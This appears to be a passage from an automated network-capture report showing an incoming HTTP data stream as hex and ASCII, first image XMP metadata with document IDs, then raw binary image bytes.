2022-04-08 08:02:44 UTC6761INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 36 44 39 43 37 35 39 35 41 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 36 46 45 45 34 41 39 45 35 31 33 45 34 31 31 38 30 45 37 43 37 41 34 35 41 43 38 34 46 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 30 41 32 43 31 35 31 33 33 39 45 30 31 31 39 31 32 33 42 44 32 33 32 32 30 46 30 45 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 30 43 38 31 39 37 32 43 32 30 36 38 31 31 39 31 30 39 38 30 35 41 34 35 37 46 42 44 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 32 38 31 42 35 35 43 33 32
Data Ascii: :li>xmp.did:D6D9C7595A20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D6FEE4A9E513E41180E7C7A45AC84F73</rdf:li> <rdf:li>xmp.did:D70A2C151339E0119123BD23220F0EAC</rdf:li> <rdf:li>xmp.did:D70C81972C2068119109805A457FBD57</rdf:li> <rdf:li>xmp.did:D7281B55C32
2022-04-08 08:02:44 UTC6777INData Raw: 42 32 36 46 41 32 32 30 35 42 44 32 33 46 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 38 39 30 34 39 43 30 41 32 30 36 38 31 31 41 39 36 34 46 36 37 32 31 34 37 33 31 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 39 37 34 41 39 33 35 34 32 33 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 42 42 38 30 33 42 30 38 39 36 45 30 31 31 41 38 39 44 39 36 39 33 39 44 31 39 36 42 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 42 46 36 38 44 32 39 43 32 33 36 38 31 31 41 36 44 44 42 30 39 35 42 30 31 45 30 42 33 39 3c 2f 72 64 66 3a 6c
Data Ascii: B26FA2205BD23F27</rdf:li> <rdf:li>xmp.did:EE89049C0A206811A964F67214731AFC</rdf:li> <rdf:li>xmp.did:EE974A9354236811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:EEBB803B0896E011A89D96939D196B3F</rdf:li> <rdf:li>xmp.did:EEBF68D29C236811A6DDB095B01E0B39</rdf:l
2022-04-08 08:02:44 UTC6784INData Raw: 46 41 42 36 37 42 45 39 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 44 37 36 41 34 42 33 43 35 36 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 41 37 41 43 33 32 44 36 36 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 43 42 46 32 46 44 33 33 39 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 30 32 37 38 39 41 46 39 46 42 37 36 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64
Data Ascii: FAB67BE993</rdf:li> <rdf:li>xmp.did:F77F1174072068118F62D76A4B3C5656</rdf:li> <rdf:li>xmp.did:F77F1174072068118F62FA7AC32D660A</rdf:li> <rdf:li>xmp.did:F77F1174072068118F62FCBF2FD33937</rdf:li> <rdf:li>xmp.did:F77F117407206811902789AF9FB7616E</rdf:li> <rd
2022-04-08 08:02:44 UTC6792INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 44 43 38 31 43 33 31 38 45 33 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 46 37 33 45 30 37 42 44 31 30 32 42 45 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 42 41 45 39 33 30 45 31 44 46 42 36 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32
Data Ascii: :li>xmp.did:F97F11740720681197A5DC81C318E3FF</rdf:li> <rdf:li>xmp.did:F97F1174072068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:F97F1174072068119F73E07BD102BE60</rdf:li> <rdf:li>xmp.did:F97F117407206811A7BAE930E1DFB621</rdf:li> <rdf:li>xmp.did:F97F1174072
2022-04-08 08:02:44 UTC6808INData Raw: 65 64 65 65 31 36 30 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 30 62 38 34 62 38 2d 34 36 64 63 2d 34 65 39 62 2d 62 38 66 65 2d 61 66 37 32 35 34 62 35 62 34 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 35 35 65 30 62 37 2d 36 34 63 33 2d 36 35 34 61 2d 39 33 65 38 2d 66 65 61 33 37 33 38 32 35 36 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 35 39 61 37 33 30 2d 36 61 33 32 2d 65 65 34 32 2d 61 63 39 65 2d 32 64 32 38 33 32 31 37 35 66 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 35 64 36 33 30 31 2d 62 62 66 64 2d 31 33 34 39 2d 62 31 31 66 2d 33 63 64 62 37 62 38 33 64 33 62
Data Ascii: edee160a</rdf:li> <rdf:li>xmp.did:af0b84b8-46dc-4e9b-b8fe-af7254b5b443</rdf:li> <rdf:li>xmp.did:af55e0b7-64c3-654a-93e8-fea373825632</rdf:li> <rdf:li>xmp.did:af59a730-6a32-ee42-ac9e-2d2832175fda</rdf:li> <rdf:li>xmp.did:af5d6301-bbfd-1349-b11f-3cdb7b83d3b
2022-04-08 08:02:44 UTC6824INData Raw: 30 35 38 34 63 31 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 62 33 39 65 63 63 2d 35 63 38 33 2d 35 39 34 66 2d 61 33 63 34 2d 62 65 33 66 31 34 32 30 37 34 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 62 64 36 64 36 38 2d 66 62 37 62 2d 34 64 32 34 2d 61 36 30 32 2d 39 32 30 36 33 65 39 61 30 63 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 65 36 30 31 63 39 2d 32 35 30 61 2d 61 36 34 36 2d 38 63 30 61 2d 32 31 61 64 30 63 61 34 39 36 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 32 37 66 37 36 33 2d 32 35 36 38 2d 34 37 35 36 2d 38 62 35 65 2d 31 39 37 63 32 33 34 65 33 39
Data Ascii: 0584c1135</rdf:li> <rdf:li>xmp.did:e0b39ecc-5c83-594f-a3c4-be3f142074af</rdf:li> <rdf:li>xmp.did:e0bd6d68-fb7b-4d24-a602-92063e9a0c40</rdf:li> <rdf:li>xmp.did:e0e601c9-250a-a646-8c0a-21ad0ca49689</rdf:li> <rdf:li>xmp.did:e127f763-2568-4756-8b5e-197c234e39
2022-04-08 08:02:44 UTC6832INData Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 39 66 34 33 33 37 31 2d 38 34 39 65 2d 34 66 30 30 2d 61 61 61 39 2d 35 31 66 64 61 35 32 39 61 30 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 31 35 66 62 66 31 2d 62 30 38 36 2d 34 37 66 33 2d 61 38 63 37 2d 31 63 63 62 64 36 62 37 30 37 39 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 35 31 62 39 61 30 2d 30 65 37 61 2d 34 31 32 62 2d 39 63 62 37 2d 34 31 34 33 33 33 38 39 62 64 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 35 34 35 62 61 61 2d 61 65 37 35 2d 34 62 63 39 2d 61 66 38 63 2d 36 34 32 38 65 63 61 65 31 34 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66
Data Ascii: i> <rdf:li>xmp.did:f9f43371-849e-4f00-aaa9-51fda529a083</rdf:li> <rdf:li>xmp.did:fa15fbf1-b086-47f3-a8c7-1ccbd6b7079c</rdf:li> <rdf:li>xmp.did:fa51b9a0-0e7a-412b-9cb7-41433389bdae</rdf:li> <rdf:li>xmp.did:fa545baa-ae75-4bc9-af8c-6428ecae1478</rdf:li> <rdf
2022-04-08 08:02:44 UTC6848INData Raw: b6 98 85 6a 04 35 a8 01 88 a0 06 22 98 85 6a 00 6b 50 03 1a 60 35 a8 01 ad 40 0d 40 85 6a 00 6b 50 02 b5 00 2b 53 01 52 01 5a 80 15 00 35 00 2a 04 35 a9 80 ad 40 08 50 02 b5 00 20 29 00 ad 40 0a d4 00 ad 40 0a d4 00 8d 30 11 a0 05 48 07 a0 62 b5 00 3d a8 01 e8 01 ad 40 0f 6a 00 7b 52 19 25 6b 1b 8d 28 1a 64 9a 42 c7 53 4a 07 32 58 1d c0 b0 3a 54 c1 52 44 ee 43 63 a1 a7 c4 5a a2 0e c5 cd ce b4 d1 2d c9 1b 53 10 88 a0 07 b5 00 2b 50 02 02 80 15 03 1e d4 00 ad 40 0a d4 00 f6 a0 0b 53 1c b8 b8 a9 76 29 54 2f 09 82 36 d2 2b 3b 1a d0 b9 9c 8b 85 d6 a4 b9 09 c2 92 35 21 ee 41 b5 ad 51 64 69 56 1f d2 3a c4 d8 d3 d8 ea 0d 65 93 1a 68 d7 1e 46 99 d9 74 ae be 93 f2 c9 ca e0 da b8 6f 8e 0e da de 4d f8 d8 30 f6 d6 26 a5 cb 6a 43 25 c2 80 1b 75 00 46 44 dc 28 02 94 04
Data Ascii: j5"jkP`5@@jkP+SRZ5*5@P )@@0Hb=@j{R%k(dBSJ2X:TRDCcZ-S+P@Sv)T/6+;5!AQdiV:ehFtoM0&jC%uFD(
2022-04-08 08:02:44 UTC6864INData Raw: 99 1d b5 b5 31 0c 88 c0 d0 06 94 18 ea fa 91 ad 43 65 a4 1b b1 45 49 40 79 38 49 3d d5 85 c1 aa 56 82 5a 93 3c 7a 66 15 37 0a 2d 5a 79 ac cb ca 40 1d 4f a0 2c aa 55 17 98 70 b5 69 4c b0 67 7c 49 9c 9e 56 14 98 ed b1 81 ae ea dd 33 82 d4 68 78 b0 26 6b 36 c3 b4 d0 ee 86 b1 b0 f9 3d 3d 22 ae e0 7b 2f 59 2c c6 af 01 95 34 2d 16 8d 5b a7 27 3d ab 04 0d 32 04 68 01 50 03 53 01 50 31 1a 04 2a 06 49 50 b7 0a 52 38 24 b1 df 89 a5 23 81 e5 00 70 a1 03 2a a6 48 46 36 0c d9 3f c2 52 6a 5d d2 e2 69 5a 36 4a 4e 9d 90 9a b4 64 0a 4a e8 1e 36 81 98 11 a1 ad 0c c8 81 40 89 2e 86 f4 86 8d bc 27 db 69 2f 62 05 72 d9 1d b4 67 55 d2 a6 12 c5 cd db 5c 76 50 76 55 ca 34 f1 a3 55 16 15 9b 2d 16 18 c7 1a 43 2a 7c 90 94 e0 52 30 ce 56 ed a2 02 44 b9 2b c7 70 a2 02 47 7c b5 61 6b
Data Ascii: 1CeEI@y8I=VZ<zf7-Zy@O,UpiLg|IV3hx&k6=="{/Y,4-['=2hPSP1*IPR8$#p*HF6?Rj]iZ6JNdJ6@.'i/brgU\vPvU4U-C*|R0VD+pG|ak
2022-04-08 08:02:44 UTC6872INData Raw: 6b 03 f6 9a de b6 83 1b d6 4b fa 7f 41 c7 b8 62 4b 7b 8d 2b 64 63 ae 34 8d ac 68 56 13 64 16 15 83 72 6e 94 06 aa 03 d9 50 50 cf 05 f4 a0 45 0d 83 7e 35 52 28 06 cc e8 91 ce bb 4e 87 b0 8e ca a5 78 25 d2 46 83 a5 3e 38 d5 b7 d0 ed 20 ab 05 af d2 a2 9d 76 b2 8d 69 2b 34 37 54 c1 87 a6 e0 45 b5 b5 aa f3 19 3e 5a 03 fe 4e e1 c8 8c 80 07 11 6a bd e4 ec 2b 3d 22 12 4f 98 b7 07 8d b8 d3 de c5 b1 19 79 de 9f f2 8e f8 0e e4 3d 87 8d 6d 5c b3 c4 c2 d8 63 80 1c 18 ed 19 3b aa db 93 3a d6 0d de 99 05 ac c0 f1 ae 6b b3 aa 88 df c4 88 01 ad 60 cd d0 53 20 ec a9 18 e1 34 d6 81 94 4b 0d f4 14 d3 10 14 bd 3d 24 53 14 83 43 56 ad 04 3a c9 ce e6 fa 6d a2 6e 4b 95 ae 9a e5 39 6d 84 0e 5c 79 62 42 81 49 1e da b5 64 c9 75 68 a6 38 ee 0a 3d 53 64 24 29 21 8d 3c 56 34 26 d8 34
Data Ascii: kKAbK{+dc4hVdrnPPE~5R(Nx%F>8 vi+47TE>ZNj+="Oy=m\c;:k`S 4K=$SCV:mnK9m\ybBIduh8=Sd$)!<V4&4
2022-04-08 08:02:44 UTC6888INData Raw: dc 40 c6 ce ea d2 67 15 39 47 7e d1 6b 70 07 ed ae aa 63 55 e0 4b 64 0e 4e 3b a1 8b 69 44 f6 00 02 d3 da f8 80 c1 60 98 7f 12 5d 3c 37 01 7f b3 5a 35 40 11 0e 22 3c 7b 91 09 3c 05 9b fc d5 2d 96 91 44 b9 33 e2 10 60 24 c8 08 e5 23 87 cb 4d 55 3e 24 b3 4d 3d 52 f0 fe 5c f6 33 1e 00 0d 2b 17 86 78 0e 49 63 7a 8d e7 0f b9 2d b7 d8 29 3c 70 29 3f ff d6 ce 6e 95 16 48 0d 29 2d ec 17 af 53 cc 68 f1 b6 26 55 3e 24 18 4b b9 50 0f 79 d6 ae b6 76 13 49 19 9f 52 1a e6 d5 d1 06 72 0d 34 af 7e 51 54 88 6c b1 4b 11 73 48 62 0e 0e 9d b4 08 84 91 ef 36 07 5a 24 20 b6 19 23 5b 46 49 26 93 02 dc 8b 42 38 12 6a 53 1b 40 c3 26 eb 70 0d c5 59 25 ba 48 bc e6 de da 06 0d 24 9b 1b 90 dc 7b aa 84 5a d9 06 dc ba 9e da 43 19 f1 a6 90 02 c3 5a 7b 92 26 0a f6 c8 83 61 36 a7 32 22 85
Data Ascii: @g9G~kpcUKdN;iD`]<7Z5@"<{<-D3`$#MU>$M=R\3+xIcz-)<p)?nH)-Sh&U>$KPyvIRr4~QTlKsHb6Z$ #[FI&B8jS@&pY%H${ZCZ{&a62"
2022-04-08 08:02:44 UTC6904INData Raw: dd 78 53 be 29 e9 31 c8 8d 49 f3 92 38 da 67 d5 50 6e 35 c7 47 66 e1 33 99 23 00 fa 92 49 f1 cb 46 75 3c 6c 7b 2b d2 d8 d3 86 cd f6 82 74 7c d9 70 e5 dc 09 28 05 ad d9 af b7 df 4e ea 56 83 83 77 2b ac 64 29 5f 2d c1 56 b0 fd 37 ac 2b 67 ef 62 82 38 dd 40 4f 9a d1 b8 0c 40 e3 6b 58 8a ab 65 bd 6b a3 25 ad 0d 49 f3 e3 85 42 49 70 1b 4a ca be ab 27 bc 4b 50 2e 95 f4 de 6b b4 02 cc 87 6f 1f 6d 74 db fe 43 22 e2 4b ac 0e 9d 16 11 39 9d 89 62 da 91 d9 5b 2f f9 5b 44 34 42 43 75 63 0e 2c 47 24 92 a1 07 0e cd 6b 6c 5f f2 1b 9c 41 a2 d4 e7 72 3d 61 2c 70 85 c7 3b 48 bd c8 e1 5b bc 8e c6 bb 4d 1f 4c 75 e9 f3 65 fc f3 bb b7 f4 56 57 f5 0b 1f 51 16 50 75 cd 98 a4 5a f6 15 8f f9 94 16 f1 36 52 1e 1c 68 ff 00 32 81 bd 15 9c b1 6b db 5f 65 3f f3 68 2d c0 59 33 4b 2b 90
Data Ascii: xS)1I8gPn5Gf3#IFu<l{+t|p(NVw+d)_-V7+gb8@O@kXek%IBIpJ'KP.komtC"K9b[/[D4BCuc,G$kl_Ar=a,p;H[MLueVWQPuZ6Rh2k_e?h-Y3K+
2022-04-08 08:02:44 UTC6912INData Raw: 24 4c 2e 51 4d 4a 6c d7 62 04 30 42 3c 22 df a6 a7 7b 30 75 42 6c 68 36 93 6d 7d d4 6f 64 ed 45 47 0e 0b 5c 6e 07 de 6a d5 db 16 d4 31 e9 e0 8e 3a d5 ef 0d a4 0e 13 28 bf 6f 65 5a ba 0d a5 67 0d c0 2c 9a 8f 77 1a ad e8 36 96 26 03 3a ef de 8a 01 f1 1d 6b 45 59 29 52 41 32 1f c8 8d dc 73 ba a9 21 47 69 1c 2a ab 49 70 c3 69 e5 b9 f9 d9 39 52 b4 f2 92 ae ed 7b 1b 83 7e 1c ab 5e ed 6a aa a1 1d 30 91 af 85 e8 ae a5 9d 10 79 e4 11 b1 e0 ac 0d c0 f9 bd 95 cc fd 6d 28 e1 19 3b 23 b3 f4 e7 40 c8 e9 98 a3 1a 57 2f b4 dc 11 c2 df 65 79 b9 bd 55 2f 69 33 6e 42 33 7a 34 d9 24 30 95 a3 23 e1 24 7f 74 d3 c5 ea eb 4e c9 2e b7 da 62 e4 7f 4e 62 c8 70 f2 4c c0 fb 07 6f db 5d 7f fe 45 f6 24 3f 30 68 bf a7 18 31 31 df 34 9b 4f 10 1a c0 fb 8d aa 5f fc 8d bd d5 0d e6 ea fa 63
Data Ascii: $L.QMJlb0B<"{0uBlh6m}odEG\nj1:(oeZg,w6&:kEY)RA2s!Gi*Ipi9R{~^j0ym(;#@W/eyU/i3nB3z4$0#$tN.bNbpLo]E$?0h114O_c
2022-04-08 08:02:44 UTC6919INData Raw: b7 05 22 d4 91 2c b5 22 94 9b d8 11 ed e1 4f 6b 11 30 9b 8d ac 2f d9 a7 fc 6a 92 11 17 c4 93 88 5e 51 c4 d0 ea c0 ac c6 50 d8 80 7d f5 11 02 19 89 36 b8 d2 81 0c 36 db 80 fb 69 a0 2a 2e 07 02 2d 4c 63 06 5b 59 8d 20 1d 5c 71 e2 29 48 12 b2 9d 57 4d 3b 2a 80 81 04 70 35 22 1c cc 47 6e 9e da 72 21 d6 63 d8 6c 2a 80 b5 27 24 58 f1 14 04 93 f3 06 8a 7b 69 0c 72 8a dc 38 54 c0 c4 22 61 c0 fe ba 49 31 90 67 60 75 d6 da d5 6a 29 18 1b 9d c7 8f db 40 8b 16 f6 be b4 d0 c7 0c c4 5c d8 8f ed a6 02 2c 35 36 06 a8 08 16 df a0 1c 29 0c 41 48 d7 85 10 32 40 05 1d ba d1 00 5a b2 58 8b 5e ad 56 40 72 e9 2e 8f af 66 a6 d5 5b 06 20 00 b0 ec fd 75 5b 00 8b 01 6b dc 11 fa a9 6c 02 91 16 c6 2e 48 b9 d3 f4 55 6d 60 57 23 ec 37 0c 3d e6 b5 ae 39 25 95 1c 90 ba 96 bf e8 ab f2 c9
Data Ascii: ","Ok0/j^QP}66i*.-Lc[Y \q)HWM;*p5"Gnr!cl*'$X{ir8T"aI1g`uj)@\,56)AH2@ZX^V@r.f[ u[kl.HUm`W#7=9%
2022-04-08 08:02:44 UTC6935INData Raw: 67 2c b7 95 86 d8 c4 7b 8e 96 17 1d 97 ab 78 e3 4f b4 01 f0 98 e4 2b 0c c5 5f 2d dc aa 8b df 42 3b 7f 15 5d f9 5f 2f b8 94 17 1e 1c 38 a8 42 80 a8 bf a0 7e 1a c9 dd d9 95 05 4f 87 14 44 e5 b0 da 55 75 b9 3a 58 69 f2 d5 ab b7 ca 22 53 45 f5 b8 aa 24 63 b6 45 06 e0 83 7f d3 ee a5 57 b2 da 76 01 66 12 94 0b 0a ca 58 0b 0d 40 d2 a6 ee 75 81 15 34 a8 c8 c0 11 75 70 a4 9f 7b 05 aa 86 9f f2 10 d3 ce b1 c8 88 4f 7d ad 61 45 6b 29 8c 21 9e 42 41 29 65 d6 da ea 7f fc 2a 12 43 04 79 26 f3 83 a2 9d 9b 42 92 a4 5c 71 63 f7 bc 35 aa 4a 21 8c ba db 8d c9 6b a5 8d ad c0 9f f8 da a0 45 65 12 49 18 a8 26 45 1a 93 a1 e1 57 b9 a5 1d d1 16 43 0b 46 db ac 1c d8 02 48 d6 c3 87 ea a8 76 9f b0 20 6f a3 95 54 a3 30 7e 6d c2 c2 c2 fd b7 1d bc 69 ef 40 d1 40 c2 58 ae fa 16 bd c0 ec
Data Ascii: g,{xO+_-B;]_/8B~ODUu:Xi"SE$cEWvfX@u4up{O}aEk)!BA)e*Cy&B\qc5J!kEeI&EWCFHv oT0~mi@@X
2022-04-08 08:02:44 UTC6951INData Raw: 02 25 3c 38 5b 5a 4e 3b 02 58 c3 4d 0b 6d 1c 6e 4d 02 91 dc ee d6 36 1e e3 c6 f4 2d 38 95 23 23 07 4b 70 61 c7 b6 9b 50 c7 b8 aa 48 0b 12 c2 db 9b df 54 ac 65 64 0d 2c a9 01 08 e7 69 66 03 97 da 6b 44 9d b8 19 89 33 10 ca f1 eb 78 da d6 3c 2d e1 fb 68 74 70 9f bc 69 95 67 49 93 3c a2 2c 46 50 61 70 64 04 90 2f 6e ee 9d ea ba 2a d5 4d bb cb 94 6d b0 f8 4b 95 06 64 b3 7b 2f a5 60 e3 b0 d5 36 51 85 9d e6 cd 34 6c 54 ec 70 a2 de cb 55 de 90 93 f7 a2 55 8c 0e b1 8b 8d d4 32 c4 2d 3b 89 e2 bd b9 bb bf 75 7b 6b bf 0d ed 8e b3 1c b6 fb 08 6d 9d 0c 38 e5 54 07 e6 b7 8a d6 bf e8 af 3e d6 36 55 2e 78 4b 6a 0b 2f e8 15 09 94 d1 9a 30 24 57 91 c4 8c c5 c8 24 03 6e 02 cb 5d 3e 62 84 a3 81 96 d8 2a cd e8 b3 cf 71 ba 45 ba 85 d4 86 d0 6b db ed aa a6 75 5f 71 2d 02 f4 7e
Data Ascii: %<8[ZN;XMmnM6-8##KpaPHTed,ifkD3x<-htpigI<,FPapd/n*MmKd{/`6Q4lTpUU2-;u{km8T>6U.xKj/0$W$n]>b*qEku_q-~
2022-04-08 08:02:44 UTC6959INData Raw: 62 c7 78 00 0c 41 03 d8 3f 0d 72 d6 67 51 99 18 98 f9 f1 42 c9 99 22 3a ea 4b 29 b1 b5 be 0a eb bd a8 dc d5 34 0e 0a e3 f4 f7 9c 7e a7 1a 56 88 31 b6 ba dc 0f f3 d5 3f 53 1c b6 5b 84 8d fc 29 41 80 5f 94 91 c2 b8 2e b5 2e 41 a6 c7 70 59 95 82 b6 84 93 ad af 5a 2b 21 30 0c 3e 8f 26 42 94 79 fc d0 fb 99 ae 38 8f b7 e5 ae 8b e6 55 e0 b6 82 72 3e 6f 4b c2 45 f3 9e 56 36 b2 1b 1b 8f b8 05 2a 65 bb d2 3e d1 b6 13 06 1c 0b 17 93 13 ef 8a c6 e2 fa db fc 35 9d ae db 96 b5 1a 2d 9b 18 e3 c4 17 10 aa 11 a8 66 b9 d0 54 2b 6e 7c c2 60 4b d3 3a 9a 4f 24 9e 70 92 09 48 24 1b 8b 69 ae d3 e1 ad de 5c 6e a9 44 5a a0 4e 4c 91 16 57 d3 47 ce de 58 22 e7 b4 fc 43 ec a9 55 9a ee 7e f2 42 e3 4c 82 02 4b 62 dd 96 16 d2 f5 93 75 ec 18 e2 63 b4 b5 94 2a dc 16 26 d6 b1 b5 1b 75 1c
Data Ascii: bxA?rgQB":K)4~V1?S[)A_..ApYZ+!0>&By8Ur>oKEV6*e>5-fT+n|`K:O$pH$i\nDZNLWGX"CU~BLKbuc*&u
2022-04-08 08:02:44 UTC6975INData Raw: c5 d1 20 9e 58 a5 cf 91 4e 4a dc ab 27 29 70 0f c2 d5 c8 f3 da a9 aa 2e 4f 8b ba 23 47 17 1f ce 55 c8 46 dd 19 5d 49 6b 91 f6 13 bb 75 73 de db 74 7c 4b 46 f2 4e 31 b1 3c 98 46 e2 e6 fc 78 db bb a9 ec a8 77 e5 8f 17 51 d3 ba 14 1c c7 4b 87 ab 7d 64 92 ca a1 61 b9 b5 99 77 13 6e c5 e6 ad f2 db 16 d4 97 57 f3 da 73 e8 6a 64 45 0e 4c 8a 25 8d 4c b6 b8 04 6b 71 af 67 f8 6b 96 ad d5 68 f9 4c c1 24 0a 19 da 62 25 6d fc d6 d0 ae 97 54 1f 2d 6c b8 28 e5 d3 ef 0c b0 c1 8e 19 65 3b 1d 8d 82 dc 5e d6 f6 13 ec a9 dd 6e 1a 8e 02 d2 18 c7 98 57 93 6e 9a 68 0f de f6 ad 64 db d0 10 28 fc 9c b2 c8 db 81 03 7a a8 e3 6e eb a1 f0 ec f8 7c 5f 0d 6b d5 5f ca 29 2b c3 ea 18 9d 40 ee 98 23 3c 72 35 99 88 d0 a9 b5 d3 fc d4 ef 8e d8 f8 4f 32 5f 88 a9 02 83 ad 83 9f 2c 73 dc ac ad
Data Ascii: XNJ')p.O#GUF]Ikust|KFN1<FxwQK}dawnWsjdEL%LkqgkhL$b%mT-l(e;^nWnhd(zn|_k_)+@#<r5O2_,s
2022-04-08 08:02:44 UTC6991INData Raw: b3 e5 05 13 48 4a c4 d1 b1 5b 0b 73 2b f1 e5 ae 99 4b 4a f4 d7 af 71 52 8f ff d2 e0 65 f4 d7 56 62 af e6 2b 20 3b 95 ae 6f fb 1e fa f8 b5 ea 71 70 83 cf 84 69 c5 0e 7c 00 6f 91 05 95 6e 0d fd b5 ca ed 4b 70 4c 69 11 cc 5e a5 3a f3 ba 5a f7 00 02 2f 6e 1f aa aa 9e 5d 78 26 54 05 4d 3b e4 aa c5 99 ba 42 c0 0b 46 2c b7 f9 bb 6b 2a d5 57 5a f2 fc dd 41 0c bd 3a 06 22 8f 39 e2 bb 8d 4d c9 3d ba 36 da cd fa 8b 70 4c 52 5a 53 0a 76 11 b7 23 a6 80 5f 40 0f ee d4 cd ea a4 44 32 3a 66 36 64 7f 42 cb f9 36 0c 75 ed 3e fa 75 cb 6a 3d dd e2 93 80 1c 7c 1e 99 d3 41 50 ed 33 37 2e d2 74 1f 65 6f 6c 99 32 7c 25 49 a1 1f 4d c4 d6 79 51 12 e2 e4 71 01 45 60 f2 db 82 92 24 6f 2a 1c 74 df 8b 1a ef 94 68 0e a5 80 a2 5d 9c 59 f4 88 b1 31 83 8f cc 8c 58 db 94 f6 54 bb 47 06 5a
Data Ascii: HJ[s+KJqReVb+ ;oqpi|onKpLi^:Z/n]x&TM;BF,k*WZA:"9M=6pLRZSv#_@D2:f6dB6u>uj=|AP37.teol2|%IMyQqE`$o*th]Y1XTGZ
2022-04-08 08:02:44 UTC6999INData Raw: 07 85 9a dd ef f3 54 aa bb 38 48 52 0e 9e a1 82 42 62 89 4c 8d 6d 02 dc 93 71 a6 83 b7 75 68 fd 3d 96 af 94 12 1f a2 48 bd 47 13 6d f4 ee b5 ce b7 e2 d7 61 dd a5 9d 79 76 1b d0 9f 4c 7c 6d 9e 4c 2c c0 46 6d 66 24 fb f4 f6 d2 ca ad 32 fb c1 25 4f d4 0b cc 32 21 61 e4 06 d8 41 b8 0d d8 9b 1b e6 6e f5 52 c7 0a 1f 57 50 07 bc c8 48 89 18 6e 65 de 56 da 5b ef 1a c1 57 b4 7c 4c cc 9e 93 8f 24 2f f4 71 af 9a 6e 41 23 94 30 ed 7b f2 d7 4d 72 d9 35 b9 f2 fe 2f a4 19 8d d2 7a 0f 54 e9 b3 3e 5b 4a b3 63 0b 9b 45 ab 12 de 1b 37 76 bb 32 fa 8c 79 16 d8 db 7f 8f a4 90 ae 9f d6 8f 9e 7a 6e 5a 36 3b 4c 58 dc 